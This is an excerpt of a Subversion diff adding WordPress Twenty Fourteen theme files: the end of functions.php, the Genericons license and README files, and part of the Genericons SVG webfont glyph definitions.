+ * @global int $page  WordPress paginated post page count.
+ *
+ * @param string $title Default title text for current view.
+ * @param string $sep Optional separator.
+ * @return string The filtered title.
+ */
+function twentyfourteen_wp_title( $title, $sep ) {
+	global $paged, $page;
+
+	if ( is_feed() ) {
+		return $title;
+	}
+
+	// Add the site name.
+	$title .= get_bloginfo( 'name', 'display' );
+
+	// Add the site description for the home/front page.
+	$site_description = get_bloginfo( 'description', 'display' );
+	if ( $site_description && ( is_home() || is_front_page() ) ) {
+		$title = "$title $sep $site_description";
+	}
+
+	// Add a page number if necessary.
+	if ( ( $paged >= 2 || $page >= 2 ) && ! is_404() ) {
+		$title = "$title $sep " . sprintf( __( 'Page %s', 'twentyfourteen' ), max( $paged, $page ) );
+	}
+
+	return $title;
+}
+add_filter( 'wp_title', 'twentyfourteen_wp_title', 10, 2 );
+
+// Implement Custom Header features.
+require get_template_directory() . '/inc/custom-header.php';
+
+// Custom template tags for this theme.
+require get_template_directory() . '/inc/template-tags.php';
+
+// Add Customizer functionality.
+require get_template_directory() . '/inc/customizer.php';
+
+/*
+ * Add Featured Content functionality.
+ *
+ * To overwrite in a plugin, define your own Featured_Content class on or
+ * before the 'setup_theme' hook.
+ */
+if ( ! class_exists( 'Featured_Content' ) && 'plugins.php' !== $GLOBALS['pagenow'] ) {
+	require get_template_directory() . '/inc/featured-content.php';
+}
Index: /tags/4.1.6/src/wp-content/themes/twentyfourteen/genericons/COPYING.txt
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfourteen/genericons/COPYING.txt	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfourteen/genericons/COPYING.txt	(revision 33402)
@@ -0,0 +1,9 @@
+Genericons is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.
+
+The fonts are distributed WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
+
+As a special exception, if you create a document which uses this font, and embed this font or unaltered portions of this font into the document, this font does not by itself cause the resulting document to be covered by the GNU General Public License. This exception does not however invalidate any other reasons why the document might be covered by the GNU General Public License. If you modify this font, you may extend this exception to your version of the font, but you are not obligated to do so. If you do not wish to do so, delete this exception statement from your version.
+
+This license does not convey any intellectual property rights to third party trademarks that may be included in the icon font; such marks remain subject to all rights and guidelines of use of their owner.
Index: /tags/4.1.6/src/wp-content/themes/twentyfourteen/genericons/LICENSE.txt
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfourteen/genericons/LICENSE.txt	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfourteen/genericons/LICENSE.txt	(revision 33402)
@@ -0,0 +1,339 @@
+                    GNU GENERAL PUBLIC LICENSE
+                       Version 2, June 1991
+
+ Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
+ 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+                            Preamble
+
+  The licenses for most software are designed to take away your
+freedom to share and change it.  By contrast, the GNU General Public
+License is intended to guarantee your freedom to share and change free
+software--to make sure the software is free for all its users.  This
+General Public License applies to most of the Free Software
+Foundation's software and to any other program whose authors commit to
+using it.  (Some other Free Software Foundation software is covered by
+the GNU Lesser General Public License instead.)  You can apply it to
+your programs, too.
+
+  When we speak of free software, we are referring to freedom, not
+price.  Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+this service if you wish), that you receive source code or can get it
+if you want it, that you can change the software or use pieces of it
+in new free programs; and that you know you can do these things.
+
+  To protect your rights, we need to make restrictions that forbid
+anyone to deny you these rights or to ask you to surrender the rights.
+These restrictions translate to certain responsibilities for you if you
+distribute copies of the software, or if you modify it.
+
+  For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must give the recipients all the rights that
+you have.  You must make sure that they, too, receive or can get the
+source code.  And you must show them these terms so they know their
+rights.
+
+  We protect your rights with two steps: (1) copyright the software, and
+(2) offer you this license which gives you legal permission to copy,
+distribute and/or modify the software.
+
+  Also, for each author's protection and ours, we want to make certain
+that everyone understands that there is no warranty for this free
+software.  If the software is modified by someone else and passed on, we
+want its recipients to know that what they have is not the original, so
+that any problems introduced by others will not reflect on the original
+authors' reputations.
+
+  Finally, any free program is threatened constantly by software
+patents.  We wish to avoid the danger that redistributors of a free
+program will individually obtain patent licenses, in effect making the
+program proprietary.  To prevent this, we have made it clear that any
+patent must be licensed for everyone's free use or not licensed at all.
+
+  The precise terms and conditions for copying, distribution and
+modification follow.
+
+                    GNU GENERAL PUBLIC LICENSE
+   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+  0. This License applies to any program or other work which contains
+a notice placed by the copyright holder saying it may be distributed
+under the terms of this General Public License.  The "Program", below,
+refers to any such program or work, and a "work based on the Program"
+means either the Program or any derivative work under copyright law:
+that is to say, a work containing the Program or a portion of it,
+either verbatim or with modifications and/or translated into another
+language.  (Hereinafter, translation is included without limitation in
+the term "modification".)  Each licensee is addressed as "you".
+
+Activities other than copying, distribution and modification are not
+covered by this License; they are outside its scope.  The act of
+running the Program is not restricted, and the output from the Program
+is covered only if its contents constitute a work based on the
+Program (independent of having been made by running the Program).
+Whether that is true depends on what the Program does.
+
+  1. You may copy and distribute verbatim copies of the Program's
+source code as you receive it, in any medium, provided that you
+conspicuously and appropriately publish on each copy an appropriate
+copyright notice and disclaimer of warranty; keep intact all the
+notices that refer to this License and to the absence of any warranty;
+and give any other recipients of the Program a copy of this License
+along with the Program.
+
+You may charge a fee for the physical act of transferring a copy, and
+you may at your option offer warranty protection in exchange for a fee.
+
+  2. You may modify your copy or copies of the Program or any portion
+of it, thus forming a work based on the Program, and copy and
+distribute such modifications or work under the terms of Section 1
+above, provided that you also meet all of these conditions:
+
+    a) You must cause the modified files to carry prominent notices
+    stating that you changed the files and the date of any change.
+
+    b) You must cause any work that you distribute or publish, that in
+    whole or in part contains or is derived from the Program or any
+    part thereof, to be licensed as a whole at no charge to all third
+    parties under the terms of this License.
+
+    c) If the modified program normally reads commands interactively
+    when run, you must cause it, when started running for such
+    interactive use in the most ordinary way, to print or display an
+    announcement including an appropriate copyright notice and a
+    notice that there is no warranty (or else, saying that you provide
+    a warranty) and that users may redistribute the program under
+    these conditions, and telling the user how to view a copy of this
+    License.  (Exception: if the Program itself is interactive but
+    does not normally print such an announcement, your work based on
+    the Program is not required to print an announcement.)
+
+These requirements apply to the modified work as a whole.  If
+identifiable sections of that work are not derived from the Program,
+and can be reasonably considered independent and separate works in
+themselves, then this License, and its terms, do not apply to those
+sections when you distribute them as separate works.  But when you
+distribute the same sections as part of a whole which is a work based
+on the Program, the distribution of the whole must be on the terms of
+this License, whose permissions for other licensees extend to the
+entire whole, and thus to each and every part regardless of who wrote it.
+
+Thus, it is not the intent of this section to claim rights or contest
+your rights to work written entirely by you; rather, the intent is to
+exercise the right to control the distribution of derivative or
+collective works based on the Program.
+
+In addition, mere aggregation of another work not based on the Program
+with the Program (or with a work based on the Program) on a volume of
+a storage or distribution medium does not bring the other work under
+the scope of this License.
+
+  3. You may copy and distribute the Program (or a work based on it,
+under Section 2) in object code or executable form under the terms of
+Sections 1 and 2 above provided that you also do one of the following:
+
+    a) Accompany it with the complete corresponding machine-readable
+    source code, which must be distributed under the terms of Sections
+    1 and 2 above on a medium customarily used for software interchange; or,
+
+    b) Accompany it with a written offer, valid for at least three
+    years, to give any third party, for a charge no more than your
+    cost of physically performing source distribution, a complete
+    machine-readable copy of the corresponding source code, to be
+    distributed under the terms of Sections 1 and 2 above on a medium
+    customarily used for software interchange; or,
+
+    c) Accompany it with the information you received as to the offer
+    to distribute corresponding source code.  (This alternative is
+    allowed only for noncommercial distribution and only if you
+    received the program in object code or executable form with such
+    an offer, in accord with Subsection b above.)
+
+The source code for a work means the preferred form of the work for
+making modifications to it.  For an executable work, complete source
+code means all the source code for all modules it contains, plus any
+associated interface definition files, plus the scripts used to
+control compilation and installation of the executable.  However, as a
+special exception, the source code distributed need not include
+anything that is normally distributed (in either source or binary
+form) with the major components (compiler, kernel, and so on) of the
+operating system on which the executable runs, unless that component
+itself accompanies the executable.
+
+If distribution of executable or object code is made by offering
+access to copy from a designated place, then offering equivalent
+access to copy the source code from the same place counts as
+distribution of the source code, even though third parties are not
+compelled to copy the source along with the object code.
+
+  4. You may not copy, modify, sublicense, or distribute the Program
+except as expressly provided under this License.  Any attempt
+otherwise to copy, modify, sublicense or distribute the Program is
+void, and will automatically terminate your rights under this License.
+However, parties who have received copies, or rights, from you under
+this License will not have their licenses terminated so long as such
+parties remain in full compliance.
+
+  5. You are not required to accept this License, since you have not
+signed it.  However, nothing else grants you permission to modify or
+distribute the Program or its derivative works.  These actions are
+prohibited by law if you do not accept this License.  Therefore, by
+modifying or distributing the Program (or any work based on the
+Program), you indicate your acceptance of this License to do so, and
+all its terms and conditions for copying, distributing or modifying
+the Program or works based on it.
+
+  6. Each time you redistribute the Program (or any work based on the
+Program), the recipient automatically receives a license from the
+original licensor to copy, distribute or modify the Program subject to
+these terms and conditions.  You may not impose any further
+restrictions on the recipients' exercise of the rights granted herein.
+You are not responsible for enforcing compliance by third parties to
+this License.
+
+  7. If, as a consequence of a court judgment or allegation of patent
+infringement or for any other reason (not limited to patent issues),
+conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License.  If you cannot
+distribute so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you
+may not distribute the Program at all.  For example, if a patent
+license would not permit royalty-free redistribution of the Program by
+all those who receive copies directly or indirectly through you, then
+the only way you could satisfy both it and this License would be to
+refrain entirely from distribution of the Program.
+
+If any portion of this section is held invalid or unenforceable under
+any particular circumstance, the balance of the section is intended to
+apply and the section as a whole is intended to apply in other
+circumstances.
+
+It is not the purpose of this section to induce you to infringe any
+patents or other property right claims or to contest validity of any
+such claims; this section has the sole purpose of protecting the
+integrity of the free software distribution system, which is
+implemented by public license practices.  Many people have made
+generous contributions to the wide range of software distributed
+through that system in reliance on consistent application of that
+system; it is up to the author/donor to decide if he or she is willing
+to distribute software through any other system and a licensee cannot
+impose that choice.
+
+This section is intended to make thoroughly clear what is believed to
+be a consequence of the rest of this License.
+
+  8. If the distribution and/or use of the Program is restricted in
+certain countries either by patents or by copyrighted interfaces, the
+original copyright holder who places the Program under this License
+may add an explicit geographical distribution limitation excluding
+those countries, so that distribution is permitted only in or among
+countries not thus excluded.  In such case, this License incorporates
+the limitation as if written in the body of this License.
+
+  9. The Free Software Foundation may publish revised and/or new versions
+of the General Public License from time to time.  Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+Each version is given a distinguishing version number.  If the Program
+specifies a version number of this License which applies to it and "any
+later version", you have the option of following the terms and conditions
+either of that version or of any later version published by the Free
+Software Foundation.  If the Program does not specify a version number of
+this License, you may choose any version ever published by the Free Software
+Foundation.
+
+  10. If you wish to incorporate parts of the Program into other free
+programs whose distribution conditions are different, write to the author
+to ask for permission.  For software which is copyrighted by the Free
+Software Foundation, write to the Free Software Foundation; we sometimes
+make exceptions for this.  Our decision will be guided by the two goals
+of preserving the free status of all derivatives of our free software and
+of promoting the sharing and reuse of software generally.
+
+                            NO WARRANTY
+
+  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
+FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
+OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
+PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
+OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
+TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
+PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
+REPAIR OR CORRECTION.
+
+  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
+REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
+INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
+OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
+TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
+YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
+PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGES.
+
+                     END OF TERMS AND CONDITIONS
+
+            How to Apply These Terms to Your New Programs
+
+  If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+  To do so, attach the following notices to the program.  It is safest
+to attach them to the start of each source file to most effectively
+convey the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+    <one line to give the program's name and a brief idea of what it does.>
+    Copyright (C) <year>  <name of author>
+
+    This program is free software; you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation; either version 2 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License along
+    with this program; if not, write to the Free Software Foundation, Inc.,
+    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Also add information on how to contact you by electronic and paper mail.
+
+If the program is interactive, make it output a short notice like this
+when it starts in an interactive mode:
+
+    Gnomovision version 69, Copyright (C) year name of author
+    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+    This is free software, and you are welcome to redistribute it
+    under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License.  Of course, the commands you use may
+be called something other than `show w' and `show c'; they could even be
+mouse-clicks or menu items--whatever suits your program.
+
+You should also get your employer (if you work as a programmer) or your
+school, if any, to sign a "copyright disclaimer" for the program, if
+necessary.  Here is a sample; alter the names:
+
+  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
+  `Gnomovision' (which makes passes at compilers) written by James Hacker.
+
+  <signature of Ty Coon>, 1 April 1989
+  Ty Coon, President of Vice
+
+This General Public License does not permit incorporating your program into
+proprietary programs.  If your program is a subroutine library, you may
+consider it more useful to permit linking proprietary applications with the
+library.  If this is what you want to do, use the GNU Lesser General
+Public License instead of this License.
Index: /tags/4.1.6/src/wp-content/themes/twentyfourteen/genericons/README.txt
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfourteen/genericons/README.txt	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfourteen/genericons/README.txt	(revision 33402)
@@ -0,0 +1,123 @@
+  ___  ____  __ _  ____  ____  __  ___  __   __ _  ____ 
+ / __)(  __)(  ( \(  __)(  _ \(  )/ __)/  \ (  ( \/ ___)
+( (_ \ ) _) /    / ) _)  )   / )(( (__(  O )/    /\___ \
+ \___/(____)\_)__)(____)(__\_)(__)\___)\__/ \_)__)(____/
+
+
+Genericons are vector icons embedded in a webfont designed to be clean and simple keeping with a generic aesthetic.
+
+Use genericons for instant HiDPI, to change icon colors on the fly, or even with CSS effects such as drop-shadows or gradients!
+
+
+_  _ ____ ____ ____ ____ 
+|  | [__  |__| | __ |___ 
+|__| ___] |  | |__] |___ 
+
+
+To use it, place the font folder in your stylesheet directory and paste this in your CSS file:
+
+/* =Genericons, thanks to FontSquirrel.com for conversion!
+-------------------------------------------------------------- */
+@font-face {
+    font-family: 'Genericons';
+    src: url('font/genericons-regular-webfont.eot');
+    src: url('font/genericons-regular-webfont.eot?#iefix') format('embedded-opentype'),
+         url('font/genericons-regular-webfont.woff') format('woff'),
+         url('font/genericons-regular-webfont.ttf') format('truetype'),
+         url('font/genericons-regular-webfont.svg#genericonsregular') format('svg');
+    font-weight: normal;
+    font-style: normal;
+
+}
+
+Note: the above only works if you don't use a CDN. If you do, or don't know what that is, you should use the syntax that's embedded in genericons.css.
+
+From then on, you can create an icon like this:
+
+.my-icon:before {
+	content: '\f101';
+	display: inline-block;
+	-webkit-font-smoothing: antialiased;
+	font: normal 16px/1 'Genericons';
+	vertical-align: top;
+}
+
+This will output a comment icon before every element with the class "my-icon". The "content: '\f101';" part of this CSS is easily copied from the helper tool at http://genericons.com/
+
+You can also use the bundled example.css if you'd rather insert the icons using HTML tags.
+
+
+_  _ ____ ___ ____ ____ 
+|\ | |  |  |  |___ [__  
+| \| |__|  |  |___ ___]
+
+
+Photoshop mockups:
+
+Genericons-Regular.otf found in the root directory of this zip has not been web-font-ified. So you can drop it in your system fonts folder and use the font in Photoshop if you like.
+
+For those of you using Genericons in your Photoshop mockup, remember to delete the old version of the font from Font Book, and grab the new one from the zip file. This also affects using it in your webdesigns: if you have an old version of the font installed locally, that's the font that'll be used in your website as well, so if you're missing icons, check for old versions of the font on your system.
+
+Pixel grid:
+
+Note that Genericons has been designed for a 16x16 pixel grid. That means it'll look sharp at font-size: 16px exactly. It'll also be crisp at multiples thereof, such as 32px or 64px. It'll also look reasonably crisp at in-between font sizes such as 24px or 48px, but not quite as crisp as 16 or 32. Please don't set the font-size to 17px, though, that'll just look terrible.
+
+Also note the CSS property "-webkit-font-smoothing: antialiased". That makes the icons look great in WebKit browsers. Please see http://noscope.com/2012/font-smoothing for more info.
+
+Updates:
+
+We don't often update icons, but do very carefully when we get good feedback suggesting improvements. Please be mindful if you upgrade, and check that the updated icons behave as you intended.
+
+
+
+____ _  _ ____ _  _ ____ ____ _    ____ ____ 
+|    |__| |__| |\ | | __ |___ |    |  | | __ 
+|___ |  | |  | | \| |__] |___ |___ |__| |__] 
+
+V3.0.3:
+Bunch of updates mostly.
+- Two new icons, Dropbox and Fullscreen.
+- Updates to all icons containing an exclamation mark.
+- Updates to Image and Quote.
+- Nicer "Share" icon.
+- Bigger default Linkedin icon.
+
+V3.0.2: 
+A slew of new stuff and updates.
+- Social icons: Skype, Digg, Reddit, Stumbleupon, Pocket.
+- New generic icons: heart, lock and print.
+- New editing icons: code, bold, italic, image
+- New interaction icons: subscribe, unsubscribe, subscribed, reply all, reply, flag.
+- The hyperlink icon has been updated to be clearer, chunkier.
+- The "home" icon has been updated for style, size and clarity.
+- The email icon has been updated for style and clarity, and to fit with the new subscribe icons.
+- The document icon has been updated for style.
+- The "pin" icon has been updated for style and clarity.
+- The Twitter icon has been scaled down to fit with the other social icons.
+
+V3.0.1: 
+Mostly maintenance. 
+- Fixed an issue with the example page that showed an old "top" icon instead of the actual NEW "refresh" icon.
+- Added inverse Google+ and Path.
+- Replaced tabs with spaces in the helper CSS.
+- Changed the Genericons.com copy/paste tool to serve span's instead of div's for casual icon insertion. It's being converted to "inline-block" anyway.
+
+V3.0:
+Mainly maintenance and a few new icons.
+- Fast forward, rewind, PollDaddy, Notice, Info, Help, Portfolio
+- Updated the feed icon. It's a bit smaller now for consistency, the previous one was rather big.
+- So, the previous version numbering, 2.09, wasn't very PHP version compare friendly. So from now on it'll be 3.0, 3.1 etc. Props Ipstenu.
+- Genericons.com now has a mini release blog.
+- The CSS has prettier formatting, props Konstantin Obenland.
+
+V2.09:
+Updated Facebook icon to new version. Updated Instagram logo to use new one-color version. Updated Google+ icon to use same radius as Instagram and Facebook. Added a bunch of new icons, cog, unapprove, cart, media player buttons, tablet, send to tablet.                                            
+
+V2.06:
+Included Base64 encoded version. This is necessary for Genericons to work with CDNs in Firefox. Firefox blocks fonts linked from a different domain. A CDN (typically s.example.com) usually puts the font on a subdomain, and is hence blocked in Firefox.
+
+V2.05:
+Added a bunch of new icons, including upload to cloud, download to cloud, many more.
+
+V2:
+Initial public release
Index: /tags/4.1.6/src/wp-content/themes/twentyfourteen/genericons/font/genericons-regular-webfont.svg
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfourteen/genericons/font/genericons-regular-webfont.svg	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfourteen/genericons/font/genericons-regular-webfont.svg	(revision 33402)
@@ -0,0 +1,135 @@
+<?xml version="1.0" standalone="no"?>
+<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" >
+<svg xmlns="http://www.w3.org/2000/svg">
+<metadata></metadata>
+<defs>
+<font id="genericonsregular" horiz-adv-x="2048" >
+<font-face units-per-em="2048" ascent="1638" descent="-410" />
+<missing-glyph horiz-adv-x="500" />
+<glyph unicode="&#x25fc;" horiz-adv-x="500" d="M0 0z" />
+<glyph unicode="&#xf100;" d="M512 512v128h768v-128h-768zM512 768v128h256v-128h-256zM512 1024v128h640v-128h-640zM512 1280v128h1024v-128h-1024zM896 768v128h640v-128h-640zM1280 1024v128h256v-128h-256z" />
+<glyph unicode="&#xf101;" d="M256 1024q0 209 103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5t-103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5zM768 1024q0 -106 75 -181t181 -75t181 75t75 181t-75 181t-181 75t-181 -75t-75 -181z" />
+<glyph unicode="&#xf102;" d="M128 384v896l512 128l128 256h512l128 -256l512 -128v-896h-1792zM256 1440v160h256v-96zM576 960q0 -185 131.5 -316.5t316.5 -131.5q186 0 317 131.5t131 316.5q0 186 -131 317t-317 131q-185 0 -316.5 -131t-131.5 -317zM704 960q0 133 93.5 226.5t226.5 93.5 t226.5 -93.5t93.5 -226.5q0 -132 -93.5 -226t-226.5 -94t-226.5 94t-93.5 226z" />
+<glyph unicode="&#xf103;" d="M128 512v384h384v-384h-384zM128 1024v384h896v-384h-896zM640 512v384h384v-384h-384zM1152 512v896h896v-896h-896z" />
+<glyph unicode="&#xf104;" d="M512 384v1280l1152 -640z" />
+<glyph unicode="&#xf105;" d="M640 1408q0 159 112.5 271.5t271.5 112.5t271.5 -112.5t112.5 -271.5q0 -124 -71.5 -222t-184.5 -138v-536l-256 -128v664q-113 40 -184.5 138t-71.5 222z" />
+<glyph unicode="&#xf106;" d="M256 896v640h640v-640q0 -212 -150 -362t-362 -150v256q106 0 181 75t75 181h-384zM1152 896v640h640v-640q0 -212 -150 -362t-362 -150v256q106 0 181 75t75 181h-384z" />
+<glyph unicode="&#xf107;" d="M512 704v384q0 97 53 176.5t139 116.5v-151q-64 -57 -64 -142v-384q0 -80 56 -136t136 -56t136 56t56 136v384q0 85 -64 142v151q86 -37 139 -116.5t53 -176.5v-384q0 -133 -93.5 -226.5t-226.5 -93.5t-226.5 93.5t-93.5 226.5zM768 1088v384q0 133 93.5 226.5 t226.5 93.5t226.5 -93.5t93.5 -226.5v-384q0 -97 -53 -176.5t-139 -116.5v151q64 57 64 142v384q0 80 -56 136t-136 56t-136 -56t-56 -136v-384q0 -85 64 -142v-151q-86 37 -139 116.5t-53 176.5z" />
+<glyph unicode="&#xf108;" d="M0 1152v384q0 96 80 176t176 80h1024q96 0 176 -80t80 -176v-384q0 -96 -80 -176t-176 -80h-448l-448 -448v448h-128q-96 0 -176 80t-80 176zM768 640l128 128h384q168 0 276 108t108 276v384q96 0 176 -80t80 -176v-384q0 -96 -80 -176t-176 -80h-128v-448l-448 448 h-320z" />
+<glyph unicode="&#xf109;" d="M256 768v512h384l384 384v-1280l-384 384h-384zM1205 843q75 75 75 181t-75 181l91 91q26 -27 46.5 -57.5t35 -65t22.5 -72.5t8 -77q0 -78 -29.5 -148t-82.5 -124zM1386 662q71 71 110.5 164.5t39.5 197.5t-39.5 197.5t-110.5 164.5l91 91q88 -89 137.5 -206t49.5 -247 q0 -87 -23 -170t-64.5 -153.5t-99.5 -129.5z" />
+<glyph unicode="&#xf200;" d="M0 1024q0 208 81 398t218.5 327t327 218t397.5 81q209 0 398.5 -81t326.5 -218t218 -326.5t81 -398.5q0 -335 -195.5 -601.5t-504.5 -369.5q-36 -7 -53 8.5t-17 40.5q0 4 0.5 102t0.5 179q0 130 -69 189q77 9 137.5 24.5t124.5 51.5t107 89t70.5 140t27.5 201 q0 161 -105 274q6 15 11 35t9 56t-3.5 83.5t-26.5 96.5q-4 1 -10.5 2t-32 -1t-55.5 -11t-79.5 -33.5t-104.5 -61.5q-118 33 -256 35q-138 -2 -256 -35q-55 37 -104 61.5t-80 33t-54.5 11.5t-33.5 1l-10 -2q-58 -146 -10 -271q-105 -115 -105 -274q0 -114 27.5 -201 t70.5 -140t107 -89t124.5 -52t136.5 -24q-53 -47 -65 -137q-28 -13 -59.5 -20t-75.5 -6.5t-87.5 28.5t-75.5 83q-2 4 -6.5 10.5t-19 24t-31.5 31t-44 25.5t-56 14h-10t-18.5 -3.5t-17 -9t4 -18.5t34.5 -31q3 -1 7.5 -4t19 -14.5t27.5 -27t30 -43.5t30 -61q1 -3 2.5 -7t8 -17 t15.5 -25.5t24.5 -28t33.5 -28t45 -23.5t57.5 -16t71.5 -3.5t87 11.5q0 -50 0.5 -110t0.5 -64q0 -24 -17 -40t-53 -10q-309 103 -504.5 370t-195.5 602z" />
+<glyph unicode="&#xf201;" d="M0 1024q0 206 82 395.5t219.5 327t327 219.5t395.5 82t395.5 -82t327 -219.5t219.5 -327t82 -395.5t-82 -395.5t-219.5 -327t-327 -219.5t-395.5 -82t-395.5 82t-327 219.5t-219.5 327t-82 395.5zM128 1024q0 -167 58 -319.5t166 -272.5q125 205 339 360t445 232 q-16 48 -80 176q-282 -86 -481.5 -111t-446.5 -1v-64zM160 1232q194 -22 444 14t388 82q-141 282 -320 528q-194 -85 -329.5 -247.5t-182.5 -376.5zM480 320q216 -192 544 -192q181 0 368 80q-33 300 -208 688q-222 -74 -410 -225.5t-294 -350.5zM832 1904 q102 -166 304 -512q6 2 86 31t118.5 45t108 47t122 64t93.5 69q-126 126 -290.5 199t-349.5 73q-32 0 -96 -8t-96 -8zM1200 1248q22 -29 36.5 -54.5t34 -67.5t25.5 -54q170 33 336 30t288 -30q-26 285 -160 464q-71 -57 -162 -104.5t-214.5 -100.5t-183.5 -83zM1344 928 q14 -27 43 -103t74.5 -231t74.5 -306q156 108 258 278t126 362q-276 46 -576 0z" />
+<glyph unicode="&#xf202;" d="M128 465q48 -5 88 -5q256 0 456 157q-119 2 -213 73.5t-130 182.5q39 -7 69 -7q47 0 97 13q-127 26 -211 127t-84 233v5q80 -43 167 -46q-76 50 -120 131t-44 175q0 101 50 185q138 -170 335 -271.5t423 -112.5q-10 39 -10 84q0 152 108 259.5t260 107.5q160 0 268 -116 q128 26 233 89q-42 -132 -161 -203q109 13 211 58q-73 -111 -183 -191q0 -7 0.5 -23t0.5 -24q0 -122 -31 -246t-89.5 -241t-149.5 -218.5t-204 -177.5t-260.5 -119.5t-311.5 -43.5q-305 0 -564 165z" />
+<glyph unicode="&#xf203;" d="M128 384v1280q0 106 75 181t181 75h1280q106 0 181 -75t75 -181v-1280q0 -106 -75 -181t-181 -75h-282v711h270l12 260h-282v192v12q0 60 21.5 87.5t87.5 27.5l166 -1l6 242q-78 10 -183 10q-94 0 -167 -27.5t-117 -74.5t-66 -105.5t-22 -126.5v-236h-254v-260h254v-711 h-724q-106 0 -181 75t-75 181z" />
+<glyph unicode="&#xf204;" d="M640 969v303h222v258q0 78 26 147t77 124t136.5 87t194.5 32q55 0 108 -3t79 -6l26 -3l-7 -282h-193q-76 0 -101.5 -32t-25.5 -101v-14v-207h329l-14 -303h-315v-841h-320v841h-222z" />
+<glyph unicode="&#xf205;" d="M128 1024q0 182 71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348t-71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348zM218 1024q0 -236 125 -430.5t330 -294.5l-385 1053q-70 -156 -70 -328zM351 1466h52q37 0 91 2.5t89 4.5 l34 3q21 1 30.5 -14.5t2.5 -32.5t-27 -20q-44 -5 -93 -7l294 -873l176 529l-125 344l-85 7q-20 2 -27.5 19t2.5 33t30 15q133 -10 212 -10q38 0 91.5 2.5t88.5 4.5l35 3q16 1 25.5 -8.5t10 -22t-7 -23.5t-23.5 -13q-43 -5 -92 -7l291 -866l81 268q24 79 32.5 107.5 t18.5 74.5t10 79q0 46 -11.5 90.5t-23.5 71t-32 60.5q-2 4 -11.5 19t-12 20t-10.5 18.5t-11 19t-9 17.5t-8.5 19t-6.5 18t-5.5 19.5t-3 18.5t-1.5 20q0 57 39 100t97 43l10 -1q-110 101 -249.5 156.5t-294.5 55.5q-207 0 -385 -98t-288 -266zM796 251q112 -33 228 -33 q138 0 268 46q-4 6 -6 11l-248 679zM1429 328q183 106 292 291.5t109 404.5q0 207 -99 386q5 -40 5 -82q0 -135 -61 -289z" />
